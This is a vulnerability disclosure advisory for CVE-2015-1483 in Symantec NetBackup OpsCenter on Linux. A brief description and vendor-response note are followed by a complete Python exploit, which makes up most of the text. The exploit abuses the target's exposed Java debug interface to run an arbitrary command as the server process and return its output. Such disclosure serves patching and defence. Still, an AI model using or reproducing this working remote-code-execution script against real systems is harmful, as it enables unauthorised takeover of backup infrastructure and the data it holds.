SSD Advisory – Symantec NetBackup OpsCenter Server Java Code Injection RCE

SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
Symantec NetBackup OpsCenter is an optional web based application that, if installed, is installed separately in a customer’s environment for advanced monitoring, alerting, and reporting capabilities. Symantec NetBackup OpsCenter for Linux/Unix is susceptible to Java Code injection that could potentially result in privileged access to the application.
Vulnerability Details
A vulnerability in Symantec NetBackup OpsCenter when installed on a Linux based operating system allows remote unauthenticated attackers to cause the product to execute arbitrary code. The vulnerability exploits a mechanism that allows users to provide Java code to the server that is then executed as part of its internal process, due to a flaw in the way this code is handled an attacker can cause it to execute arbitrary code of his choice and elevate it to gain root privileges on the remote machine.

Vendor Response
Symantec has released an advisory, Security Advisories Relating to Symantec Products – Symantec NetBackup OpsCenter Server Java Code Injection RCE, that addresses this vulnerability.
CVE
A single CVE entry has been released for this vulnerability, CVE-2015-1483.
Exploit

#!/usr/bin/env python
import socket
import time
import sys
import struct
import urllib
from urlparse import urlparse
import argparse
import re
import requests
import thread
# Exceptions
class ResolveException(Exception):
	def __init__(self, value):
		self.value = value
	def __str__(self):
		return repr(self.value)
class JdwpException(Exception):
	def __init__(self, value):
		self.value = value
	def __str__(self):
		return repr(self.value)
# JDWP protocol variables
HANDSHAKE                 = "JDWP-Handshake"
REQUEST_PACKET_TYPE       = 0x00
REPLY_PACKET_TYPE         = 0x80
# Command signatures
VERSION_SIG               = (1, 1)
CLASSESBYSIGNATURE_SIG    = (1, 2)
ALLCLASSES_SIG            = (1, 3)
ALLTHREADS_SIG            = (1, 4)
IDSIZES_SIG               = (1, 7)
CREATESTRING_SIG          = (1, 11)
SUSPENDVM_SIG             = (1, 8)
RESUMEVM_SIG              = (1, 9)
SIGNATURE_SIG             = (2, 1)
FIELDS_SIG                = (2, 4)
METHODS_SIG               = (2, 5)
GETVALUES_SIG             = (2, 6)
CLASSOBJECT_SIG           = (2, 11)
INVOKESTATICMETHOD_SIG    = (3, 3)
NEWINSTANCE_SIG		  = (3, 4)
REFERENCETYPE_SIG         = (9, 1)
INVOKEMETHOD_SIG          = (9, 6)
STRINGVALUE_SIG           = (10, 1)
THREADNAME_SIG            = (11, 1)
THREADSUSPEND_SIG         = (11, 2)
THREADRESUME_SIG          = (11, 3)
THREADSTATUS_SIG          = (11, 4)
EVENTSET_SIG              = (15, 1)
EVENTCLEAR_SIG            = (15, 2)
EVENTCLEARALL_SIG         = (15, 3)
# Other codes
MODKIND_COUNT             = 1
MODKIND_THREADONLY        = 2
MODKIND_CLASSMATCH        = 5
MODKIND_LOCATIONONLY      = 7
EVENT_BREAKPOINT          = 2
SUSPEND_EVENTTHREAD       = 1
SUSPEND_ALL               = 2
NOT_IMPLEMENTED           = 99
VM_DEAD                   = 112
INVOKE_SINGLE_THREADED    = 2
TAG_OBJECT                = 76
TAG_STRING                = 115
TAG_CLASS                 = 99
TYPE_CLASS                = 1
# JDWP client class
class JDWPClient:
	def __init__(self, host, port=8000):
		self.host = host
		self.port = port
		self.methods = {}
		self.fields = {}
		self.id = 0x01
		return
	def create_packet(self, cmdsig, data=""):
		flags = 0x00
		cmdset, cmd = cmdsig
		pktlen = len(data) + 11
		pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd))
		pkt+= data
		self.id += 2
		return pkt
	def read_reply(self):
		header = self.socket.recv(11)
		pktlen, id, flags, errcode = struct.unpack(">IIcH", header)
		if flags == chr(REPLY_PACKET_TYPE):
			if errcode :
				raise JdwpException("Received errcode %d" % errcode)
		buf = ""
		while len(buf) + 11 < pktlen:
			data = self.socket.recv(1024)
			if len(data):
				buf += data
			else:
				time.sleep(1)
		return buf
	def parse_entries(self, buf, formats, explicit=True):
		entries = []
		if explicit:
			nb_entries = struct.unpack(">I", buf[:4])[0]
			buf = buf[4:]
		else:
			nb_entries = 1
		for i in range(nb_entries):
			data = {}
			for fmt, name in formats:
				if fmt == "L" or fmt == 8:
					data[name] = int(struct.unpack(">Q", buf[:8])[0])
					buf = buf[8:]
				elif fmt == "I" or fmt == 4:
					data[name] = int(struct.unpack(">I", buf[:4])[0])
					buf = buf[4:]
				elif fmt == 'S':
					l = struct.unpack(">I", buf[:4])[0]
					data[name] = buf[4:4+l]
					buf = buf[4+l:]
				elif fmt == 'C':
					data[name] = ord(struct.unpack(">c", buf[:1])[0])
					buf = buf[1:]
				elif fmt == 'Z': # zpecifics
					t = ord(struct.unpack(">c", buf[:1])[0])
					if t == 115: # string (objid)
						s = self.solve_string(buf[1:9])
						data[name] = s
						buf = buf[9:]
					elif t == 73: # int
						data[name] = struct.unpack(">I", buf[1:5])[0]
						buf = struct.unpack(">I", buf[5:9])
				else:
					raise JdwpException("Invalid response.")
			entries.append( data )
		return entries
	def format(self, fmt, value):
		if fmt == "L" or fmt == 8:
			return struct.pack(">Q", value)
		elif fmt == "I" or fmt == 4:
			return struct.pack(">I", value)
		raise JdwpException("Unknown format.")
	def unformat(self, fmt, value):
		if fmt == "L" or fmt == 8:
			return struct.unpack(">Q", value[:8])[0]
		elif fmt == "I" or fmt == 4:
			return struct.unpack(">I", value[:4])[0]
		raise JdwpException("Unknown format.")
	def start(self):
		self.handshake(self.host, self.port)
		self.idsizes()
		self.allclasses()
	def handshake(self, host, port):
		self.socket = socket.socket()
		try:
			self.socket.connect((host, port))
		except socket.error as msg:
			raise JdwpException("Failed to connect: %s" % msg)
		self.socket.send(HANDSHAKE)
		if self.socket.recv(len(HANDSHAKE)) != HANDSHAKE:
			raise JdwpException("Failed to handshake.")
	def leave(self):
		self.socket.close()
	def idsizes(self):
		self.socket.sendall( self.create_packet(IDSIZES_SIG) )
		buf = self.read_reply()
		formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
		            ("I", "referenceTypeIDSize"), ("I", "frameIDSize")]
		for entry in self.parse_entries(buf, formats, False):
			for name,value  in entry.iteritems():
				setattr(self, name, value)
	def allthreads(self, refresh=False):
		if refresh:
			delattr(self, "threads")
		try:
			getattr(self, "threads")
		except :
			self.socket.sendall( self.create_packet(ALLTHREADS_SIG) )
			buf = self.read_reply()
			formats = [ (self.objectIDSize, "threadId")]
			self.threads = self.parse_entries(buf, formats)
		finally:
			return self.threads
	def get_thread_by_name(self, name):
		self.allthreads()
		for t in self.threads:
			threadId = self.format(self.objectIDSize, t["threadId"])
			self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) )
			buf = self.read_reply()
			if len(buf) and name == self.readstring(buf):
				return t
		return None
	def allclasses(self, refresh=False):
		if refresh:
			delattr(self, "classes")
		try:
			getattr(self, "classes")
		except:
			self.socket.sendall( self.create_packet(ALLCLASSES_SIG) )
			buf = self.read_reply()
			formats = [('C', "refTypeTag"),
			            (self.referenceTypeIDSize, "refTypeId"),
			            ('S', "signature"),
			            ('I', "status")]
			self.classes = self.parse_entries(buf, formats)
		finally:
			return self.classes
	def get_class_by_name(self, name):
		for entry in self.classes:
			if entry["signature"].lower() == name.lower() :
				return entry
		return None
	def get_methods(self, refTypeId):
		if not self.methods.has_key(refTypeId):
			refId = self.format(self.referenceTypeIDSize, refTypeId)
			self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) )
			buf = self.read_reply()
			formats = [(self.methodIDSize, "methodId"),
			            ('S', "name"),
			            ('S', "signature"),
			            ('I', "modBits")]
			self.methods[refTypeId] = self.parse_entries(buf, formats)
		return self.methods[refTypeId]
	def get_method_by_name(self, name, jni_sig=None):
		for refId in self.methods.keys():
			for entry in self.methods[refId]:
				if entry["name"].lower() == name.lower():
					if jni_sig:
						if entry["signature"].lower() == jni_sig.lower():
							return entry
					else:
						return entry
		return None
	def getfields(self, refTypeId):
		if not self.fields.has_key( refTypeId ):
			refId = self.format(self.referenceTypeIDSize, refTypeId)
			self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) )
			buf = self.read_reply()
			formats = [(self.fieldIDSize, "fieldId"),
			            ('S', "name"),
			            ('S', "signature"),
			            ('I', "modbits")]
			self.fields[refTypeId] = self.parse_entries(buf, formats)
		return self.fields[refTypeId]
	def getvalue(self, refTypeId, fieldId):
		data = self.format(self.referenceTypeIDSize, refTypeId)
		data+= struct.pack(">I", 1)
		data+= self.format(self.fieldIDSize, fieldId)
		self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) )
		buf = self.read_reply()
		formats = [ ("Z", "value") ]
		field = self.parse_entries(buf, formats)[0]
		return field
	def createstring(self, data):
		buf = self.buildstring(data)
		self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) )
		buf = self.read_reply()
		return self.parse_entries(buf, [(self.objectIDSize, "objId")], False)
	def buildstring(self, data):
		return struct.pack(">I", len(data)) + data
	def readstring(self, data):
		size = struct.unpack(">I", data[:4])[0]
		return data[4:4+size]
	def suspendvm(self):
		self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) )
		self.read_reply()
		return
	def resumevm(self):
		self.socket.sendall( self.create_packet( RESUMEVM_SIG ) )
		self.read_reply()
		return
	def invokestatic(self, classId, threadId, methId, *args):
		data = self.format(self.referenceTypeIDSize, classId)
		data+= self.format(self.objectIDSize, threadId)
		data+= self.format(self.methodIDSize, methId)
		data+= struct.pack(">I", len(args))
		for arg in args:
			data+= arg
		data+= struct.pack(">I", 0)
		self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) )
		buf = self.read_reply()
		return buf
	def invoke(self, objId, threadId, classId, methId, *args):
		data = self.format(self.objectIDSize, objId)
		data+= self.format(self.objectIDSize, threadId)
		data+= self.format(self.referenceTypeIDSize, classId)
		data+= self.format(self.methodIDSize, methId)
		data+= struct.pack(">I", len(args))
		for arg in args:
			data+= arg
		data+= struct.pack(">I", 0)
		self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) )
		buf = self.read_reply()
		return buf
	def newinstance(self, classId, threadId, constructorId, *args):
		data = self.format(self.referenceTypeIDSize, classId)
		data+= self.format(self.objectIDSize, threadId)
		data+= self.format(self.methodIDSize, constructorId)
		data+= struct.pack(">I", len(args))
		for arg in args:
			data+= arg
		data+= struct.pack(">I", 0)
		self.socket.sendall( self.create_packet(NEWINSTANCE_SIG, data=data) )
		buf = self.read_reply()
		return buf
	def solve_string(self, objId):
		self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) )
		buf = self.read_reply()
		if len(buf):
			return self.readstring(buf)
		else:
			return ""
	def query_thread(self, threadId, kind):
		data = self.format(self.objectIDSize, threadId)
		self.socket.sendall( self.create_packet(kind, data=data) )
		buf = self.read_reply()
		return
	def suspend_thread(self, threadId):
		return self.query_thread(threadId, THREADSUSPEND_SIG)
	def status_thread(self, threadId):
		return self.query_thread(threadId, THREADSTATUS_SIG)
	def resume_thread(self, threadId):
		return self.query_thread(threadId, THREADRESUME_SIG)
	def send_event(self, eventCode, *args):
		data = ""
		data+= chr( eventCode )
		data+= chr( SUSPEND_ALL )
		data+= struct.pack(">I", len(args))
		for kind, option in args:
			data+= chr( kind )
			data+= option
		self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) )
		buf = self.read_reply()
		return struct.unpack(">I", buf)[0]
	def clear_event(self, eventCode, rId):
		data = chr(eventCode)
		data+= struct.pack(">I", rId)
		self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) )
		self.read_reply()
		return
	def clear_events(self):
		self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) )
		self.read_reply()
		return
	def wait_for_event(self):
		buf = self.read_reply()
		return buf
	def parse_event_breakpoint(self, buf, eventId):
		num = struct.unpack(">I", buf[2:6])[0]
		rId = struct.unpack(">I", buf[6:10])[0]
		if rId != eventId:
			return None
		tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize])
		loc = -1 # don't care
		return rId, tId, loc
def error(msg):
	print("[-] %s" % msg)
def info(msg):
	print("[*] %s" % msg)
def resolve_class(jdwp, class_name, threadId=None):
	c = jdwp.get_class_by_name(class_name)
	if c is None and threadId:
		load_class(jdwp, threadId, class_name)
		jdwp.allclasses(refresh=True)
		c = jdwp.get_class_by_name(class_name)
	if c is None:
		raise ResolveException("Could not resolve class '%s'" % class_name)
	info("Found '%s' class: id=%x" % (class_name, c["refTypeId"]))
	return c["refTypeId"]
def resolve_method(jdwp, class_ref, method_name, jni_sig=None):
	jdwp.get_methods(class_ref)
	m = jdwp.get_method_by_name(method_name, jni_sig)
	if m is None:
		raise ResolveException("Could not resolve method '%s'" % method_name)
	info("Found '%s' method: id=%x" % (method_name, m["methodId"]))
	return m["methodId"]
def set_breakpoint(jdwp, break_on):
	break_on_class, break_on_method = str2fqclass(break_on)
	cref = resolve_class(jdwp, break_on_class)
	if not cref:
		error("It is possible that this class is not used by application")
		error("Test with another one with option `--break-on`")
		return False
	mref = resolve_method(jdwp, cref, break_on_method)
	if not mref:
		error("Could not access method '%s'" % break_on_method)
		return False
	loc = chr( TYPE_CLASS )
	loc+= jdwp.format( jdwp.referenceTypeIDSize, cref)
	loc+= jdwp.format( jdwp.methodIDSize, mref)
	loc+= struct.pack(">II", 0, 0)
	data = [(MODKIND_LOCATIONONLY, loc),]
	rId = jdwp.send_event(EVENT_BREAKPOINT, *data)
	info("Created breakpoint event id=%x" % rId)
	return rId
def invoke(jdwp, instanceId, threadId, classId, methodId, expected_tag, *data):
	buf = jdwp.invoke(instanceId, threadId, classId, methodId, *data)
	if buf[0] != chr(expected_tag):
		error("Unexpected returned type: expecting '%c', received '%c'" % (expected_tag, buf[0]))
		return False
	retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
	return retId
def invokestatic(jdwp, classId, threadId, methodId, expected_tag, *data):
	buf = jdwp.invokestatic(classId, threadId, methodId, *data)
	if buf[0] != chr(expected_tag):
		error("Unexpected returned type: expecting '%c', received '%c'" % (expected_tag, buf[0]))
		return False
	retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
	return retId
def newinstance(jdwp, classId, threadId, constructorId, expected_tag, *data):
	buf = jdwp.newinstance(classId, threadId, constructorId, *data)
	if buf[0] != chr(expected_tag):
		error("Unexpected returned type: expecting '%c', received '%c'" % (expected_tag, buf[0]))
		return False
	retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
	return retId
def createstring(jdwp, data):
	strObjIds = jdwp.createstring(data)
	if len(strObjIds) == 0:
		error("Failed to allocate command")
		return False
	strObjId = strObjIds[0]["objId"]
	info("Command string object created id:%x" % strObjId)
	return strObjId
def load_class(jdwp, threadId, class_name):
	classClass = resolve_class(jdwp, "Ljava/lang/Class;")
	if not classClass:
		error("Could not found 'Class' class.")
		return False
	loadClassMethod = resolve_method(jdwp, classClass, "forName")
	# load needed class
	class_name = jni2str(class_name)
	classStr = createstring(jdwp, class_name)
	data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, classStr)]
	classInstance = invokestatic(jdwp, classClass, threadId, loadClassMethod, TAG_CLASS, *data)
	return True
def execute(jdwp, cmd, threadId, runtimeClass, getRuntimeMethod, execMethod, processClass, getInputStreamMethod, scannerClass, scannerConstructor, useDelimiterMethod, nextMethod):
	# allocating string containing our command to exec()
	commandInstance = createstring(jdwp, cmd)
	# invoke getRuntime()
	runtimeInstance = invokestatic(jdwp, runtimeClass, threadId, getRuntimeMethod, TAG_OBJECT)
	info("Runtime.getRuntime() returned context id:%#x" % runtimeInstance)
	# invoke exec()
	data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, commandInstance)]
	processInstance = invoke(jdwp, runtimeInstance, threadId, runtimeClass, execMethod, TAG_OBJECT, *data)
	info("Runtime.exec() returned context id=%x" % processInstance)
	# invoke getInputStream() on process
	inputStreamInstance = invoke(jdwp, processInstance, threadId, processClass, getInputStreamMethod, TAG_OBJECT)
	info("Process.getInputStream() returned context id=%x" % inputStreamInstance)
	# invoke java.util.Scaner constructor
	data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, inputStreamInstance)]
	scannerInstance = newinstance(jdwp,scannerClass, threadId, scannerConstructor, TAG_OBJECT, *data)
	info("new Scanner() returned context id=%x" % scannerInstance)
	# invoke useDelimiter()
	delimiterInstance = createstring(jdwp, "\\Z")
	data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, delimiterInstance)]
	scannerInstance = invoke(jdwp, scannerInstance, threadId, scannerClass, useDelimiterMethod, TAG_OBJECT, *data)
	info("Scanner.useDelimiter() returned context id=%x" % scannerInstance)
	# invoke next()
	retInstance = invoke(jdwp, scannerInstance, threadId, scannerClass, nextMethod, TAG_STRING)
	info("Scanner.next() returned context id=%x" % retInstance)
	# get string value
	res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retInstance))
	print("")
	print("%s" % res)
	print("")
	return True
def trigger(url):
	requests.get(url)
def exploit(jdwp, break_on, target, url, cmd):
	# setup breakpoint
	bpId = set_breakpoint(jdwp, break_on)
	if not bpId:
		error("Exploit failed.")
		return False
	# resume vm and wait for event
	jdwp.resumevm()
	info("Waiting for an event on '%s'" % break_on)
	while True:
		thread.start_new_thread(trigger, (url,))
		buf = jdwp.wait_for_event()
		ret = jdwp.parse_event_breakpoint(buf, bpId)
		if ret is not None:
			break
	bpId, threadId, loc = ret
	info("Received matching event from thread %#x" % threadId)
	# remove breakpoint
	jdwp.clear_event(EVENT_BREAKPOINT, bpId)
	# resolve classes and methods
	runtimeClass = resolve_class(jdwp, "Ljava/lang/Runtime;", threadId)
	getRuntimeMethod = resolve_method(jdwp, runtimeClass, "getRuntime")
	execMethod = resolve_method(jdwp, runtimeClass, "exec", "(Ljava/lang/String;)Ljava/lang/Process;")
	processClass = resolve_class(jdwp, "Ljava/lang/Process;", threadId)
	getInputStreamMethod = resolve_method(jdwp, processClass, "getInputStream")
	scannerClass = resolve_class(jdwp, "Ljava/util/Scanner;", threadId)
	scannerConstructor = resolve_method(jdwp, scannerClass, "<init>", "(Ljava/io/InputStream;)V")
	useDelimiterMethod = resolve_method(jdwp, scannerClass, "useDelimiter", "(Ljava/lang/String;)Ljava/util/Scanner;")
	nextMethod = resolve_method(jdwp, scannerClass, "next")
	# execute the command
	execute(jdwp, cmd, threadId, runtimeClass, getRuntimeMethod, execMethod, processClass, getInputStreamMethod, scannerClass, scannerConstructor, useDelimiterMethod, nextMethod)
	# resume vm
	jdwp.resumevm()
	return True
def str2fqclass(s):
	i = s.rfind('.')
	if i == -1:
		return False
	method = s[i:][1:]
	classname = 'L' + s[:i].replace('.', '/') + ';'
	return classname, method
def jni2str(s):
	m = re.match("^L([^;]+);$", s)
	if m:
		return m.group(1).replace("/", ".")
	else:
		return False
if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("url", type=str, metavar="URL", help="Remote OpsCenter URL (http://<remote>/opscenter/)")
	parser.add_argument("cmd", type=str, metavar="CMD", help="Command to execute")
	parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port")
	parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", default="java.net.ServerSocket.accept", help="Specify full path to method to break on")
	args = parser.parse_args()
	try:
		print("")
		print("##################################################################")
		print("# Symantec OpsCenter 7.6.x for Linux remote code execution       #")
		print("##################################################################")
		print("")
		url = urlparse(args.url)
		cli = JDWPClient(url.hostname, args.port)
		cli.start()
		if exploit(cli, args.break_on, url.hostname, args.url, args.cmd) == False:
			error("Exploit failed")
	except KeyboardInterrupt:
		pass
	except Exception, e:
		error("Exception: %s" % e)
	finally:
		cli.leave()
	exit()